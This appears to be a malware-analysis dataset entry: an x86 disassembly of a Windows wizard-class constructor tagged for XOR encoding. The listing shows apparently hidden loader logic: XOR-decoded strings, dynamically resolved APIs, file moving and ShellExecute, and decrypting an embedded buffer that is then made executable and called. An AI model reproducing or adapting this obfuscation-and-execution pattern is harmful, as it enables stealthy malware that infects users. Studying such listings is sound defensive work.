Function at 0x41d80e
Capabilities:
Encode data using xor

Disassembly:
push 0x440
mov eax, 0x44077d
call fcn.0041efb6
mov esi, dword [ebp + 0x10]
push esi
push dword [ebp + 0xc]
mov ebx, ecx
push ecx
mov eax, esp
mov dword [ebp - 0x434], esp
mov dword [eax], 0x3e9
push ecx
mov eax, esp
mov dword [ebp - 0x434], esp
push ecx
mov dword [eax], 0x3e8
mov eax, esp
mov dword [ebp - 0x44c], ebx
mov dword [ebp - 0x434], esp
mov dword [eax], 0x47c888
call fcn.0041d6ff
xor edi, edi
mov dword [ebp - 4], edi
mov eax, dword [ebp + 8]
push ecx
mov dword [ebx + 0x70], eax
mov eax, esp
mov dword [ebx], vtable.CTestWizardSheet.0
lea ecx, [ebx + 0x74]
mov dword [ebp - 0x434], esp
mov dword [eax], edi
call fcn.0041ca52
mov byte [ebp - 4], 1
push ecx
mov eax, esp
lea ecx, [ebx + 0xd4]
mov dword [ebp - 0x434], esp
mov dword [eax], edi
call fcn.0041cbd5
mov byte [ebp - 4], 2
push ecx
mov eax, esp
lea ecx, [ebx + 0x150]
mov dword [ebp - 0x434], esp
mov dword [eax], edi
call fcn.0041ce7b
mov byte [ebp - 4], 3
push ecx
mov eax, esp
lea ecx, [ebx + 0x200]
mov dword [ebp - 0x434], esp
mov dword [eax], edi
call fcn.0041d1d2
mov byte [ebp - 4], 4
push ecx
mov eax, esp
lea ecx, [ebx + 0x278]
mov dword [ebp - 0x434], esp
mov dword [eax], edi
call fcn.0041d475
mov byte [ebp - 4], 5
push 0xa
mov dword [ebp - 0x428], esi
push str.Menu
lea eax, [ebp - 0x414]
mov esi, 0xc9
push eax
mov dword [ebp - 0x42c], 0x3b8
mov dword [ebp - 0x424], esi
mov dword [ebp - 0x420], 7
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push esi
push edi
mov dword [ebp - 0x41c], 0x10000
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x418], eax
mov esi, dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
lea eax, [ebp - 0x42c]
push eax
push edi
call esi
mov eax, dword [0x48ba18]
mov ecx, dword [0x48ba1c]
mov edx, dword [0x48ba20]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x440], ecx
mov dword [ebp - 0x438], edx
mov dword [ebp - 0x430], edi
cmp eax, edi
jbe 0x41d9b9
cmp dword [ebp - 0x430], 0x1424
jae 0x41d9b9
mov edx, dword [ebp - 0x430]
mov edi, dword [ebp - 0x430]
and edx, 3
mov dl, byte [ebp + edx - 0x438]
xor byte [edi + 0x48ba24], dl
inc dword [ebp - 0x430]
cmp dword [ebp - 0x430], eax
jb 0x41d983
push ecx
call fcn.0041f5c9
pop ecx
mov dword [ebp - 0x438], eax
lea eax, [ebp - 0x42c]
push eax
push 2
call esi
lea eax, [ebp - 0x448]
push eax
push 0x48ba24
lea eax, [ebp - 0x440]
push eax
push dword [ebp - 0x438]
call fcn.00432e80
test eax, eax
je 0x41d9fa
push 1
call fcn.0042149d
push 0x48d7fc
lea ecx, [ebp - 0x430]
call fcn.00405a79
mov byte [ebp - 4], 7
mov esi, 0x104
push esi
lea ecx, [ebp - 0x430]
call fcn.004065d4
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x444], esi
cmp dword [eax - 4], 1
jle 0x41da45
push dword [eax - 0xc]
lea ecx, [ebp - 0x430]
call fcn.004048ac
mov eax, dword [ebp - 0x430]
lea ecx, [ebp - 0x444]
push ecx
push eax
push str.GetUserNameW
push str.ADVAPI32
call fcn.0041b1f4
pop ecx
pop ecx
call eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x430]
call fcn.004059b3
mov esi, str.pH_HzH.HkHH
lea edi, [ebp - 0x58]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 5
movsw word es:[edi], word [esi]
pop ecx
mov dx, word [ebp + ecx*2 - 0x5a]
lea eax, [ebp + ecx*2 - 0x58]
xor word [eax], dx
dec ecx
test ecx, ecx
jg 0x41da7d
mov eax, 0x4823
xor word [ebp - 0x58], ax
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x430]
call fcn.0041b554
test eax, eax
jne 0x41dc5b
mov esi, 0x104
push esi
lea ecx, [ebp - 0x430]
call fcn.004065d4
mov eax, dword [ebp - 0x430]
cmp dword [eax - 4], 1
jle 0x41dadf
push dword [eax - 0xc]
lea ecx, [ebp - 0x430]
call fcn.004048ac
mov eax, dword [ebp - 0x430]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x430]
call fcn.004059b3
mov esi, 0x47c824
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 6
movsd dword es:[edi], dword [esi]
pop ecx
mov dx, word [ebp + ecx*2 - 0x3a]
lea eax, [ebp + ecx*2 - 0x38]
xor word [eax], dx
dec ecx
test ecx, ecx
jg 0x41db05
mov eax, 0x4ae1
xor word [ebp - 0x38], ax
push 0
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x430]
call fcn.0041b713
cmp eax, 0xffffffff
jne 0x41dc5b
mov ebx, dword [ebp - 0x430]
lea eax, [ebx - 0x10]
push eax
call fcn.00419593
add eax, 0x10
pop ecx
mov dword [ebp - 0x434], eax
mov byte [ebp - 4], 9
mov esi, 0x47c818
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 3
movsw word es:[edi], word [esi]
pop ecx
mov dx, word [ebp + ecx*2 - 0x1e]
lea eax, [ebp + ecx*2 - 0x1c]
xor word [eax], dx
dec ecx
test ecx, ecx
jg 0x41db65
mov eax, 0x5592
xor word [ebp - 0x1c], ax
push 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x430]
call fcn.0041b713
cmp eax, 0xffffffff
je 0x41dbd0
mov eax, dword [ebx - 0xc]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x438]
push eax
lea ecx, [ebp - 0x430]
call fcn.0041b925
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x430]
call fcn.00419a8d
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x438]
add ecx, 0xfffffff0
call fcn.004039ac
lea eax, [ebp - 0x38]
push eax
call fcn.00420451
pop ecx
push eax
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x430]
call fcn.00417aa2
push dword [ebp - 0x430]
push dword [ebp - 0x434]
push str.MoveFileW
push str.KERNEL32
call fcn.0041b1f4
pop ecx
pop ecx
call eax
mov esi, 0x47c800
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 3
movsw word es:[edi], word [esi]
pop ecx
mov dx, word [ebp + ecx*2 - 0x2a]
lea eax, [ebp + ecx*2 - 0x28]
xor word [eax], dx
dec ecx
test ecx, ecx
jg 0x41dc18
xor esi, esi
push esi
push esi
push esi
push dword [ebp - 0x430]
mov eax, 0x7907
xor word [ebp - 0x28], ax
lea eax, [ebp - 0x28]
push eax
push esi
push str.ShellExecuteW
push str.SHELL32
call fcn.0041b1f4
pop ecx
pop ecx
call eax
push esi
jmp 0x41d9f5
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x430]
add ecx, 0xfffffff0
call fcn.004039ac
push 1
push 0xa
call fcn.0041b227
pop ecx
pop ecx
push 6
pop ecx
mov esi, str.HH_H_H1HTH8H_vH9H
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
push 0xb
movsw word es:[edi], word [esi]
pop ecx
mov dx, word [ebp + ecx*2 - 0x76]
lea eax, [ebp + ecx*2 - 0x74]
xor word [eax], dx
dec ecx
test ecx, ecx
jg 0x41dc8a
mov esi, 0x47c7b4
lea edi, [ebp - 0x48]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, 0x4823
xor word [ebp - 0x74], ax
push 0xd
movsb byte es:[edi], byte [esi]
pop eax
mov cl, byte [ebp + eax - 0x49]
xor byte [ebp + eax - 0x48], cl
dec eax
test eax, eax
jg 0x41dcb5
xor byte [ebp - 0x48], 0x84
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x430], eax
xor eax, eax
mov edi, 0x2554
xor byte [eax + 0x4894c0], 0x99
inc eax
cmp eax, edi
jb 0x41dce8
lea eax, [ebp - 0x43c]
push eax
push 0x20
push edi
mov esi, 0x4894c0
push esi
call dword [ebp - 0x430]
push 0x10
call fcn.0041f273
pop ecx
mov ecx, dword [ebp - 0x438]
mov dword [eax], 0x10
mov dword [eax + 4], ecx
mov dword [eax + 8], 0x432d70
mov dword [eax + 0xc], fcn.00432e80
push eax
mov eax, esi
call eax
test eax, eax
je 0x41dd3f
push 0
jmp 0x41d9f5
lea eax, [ebp - 0x43c]
push eax
push dword [ebp - 0x43c]
push edi
push esi
call dword [ebp - 0x430]
mov eax, dword [ebp + 8]
mov dword [ebx + 0xc8], eax
mov dword [ebx + 0x128], eax
mov dword [ebx + 0x1a4], eax
mov dword [ebx + 0x254], eax
mov dword [ebx + 0x2cc], eax
lea eax, [ebx + 0x94]
push eax
mov ecx, ebx
call fcn.0041ba4f
lea eax, [ebx + 0xf4]
push eax
mov ecx, ebx
call fcn.0041ba4f
lea eax, [ebx + 0x170]
push eax
mov ecx, ebx
call fcn.0041ba4f
lea eax, [ebx + 0x220]
push eax
mov ecx, ebx
call fcn.0041ba4f
lea eax, [ebx + 0x298]
push eax
mov ecx, ebx
call fcn.0041ba4f
or dword [ebp - 4], 0xffffffff
mov eax, ebx
call fcn.0041f039
ret 0xc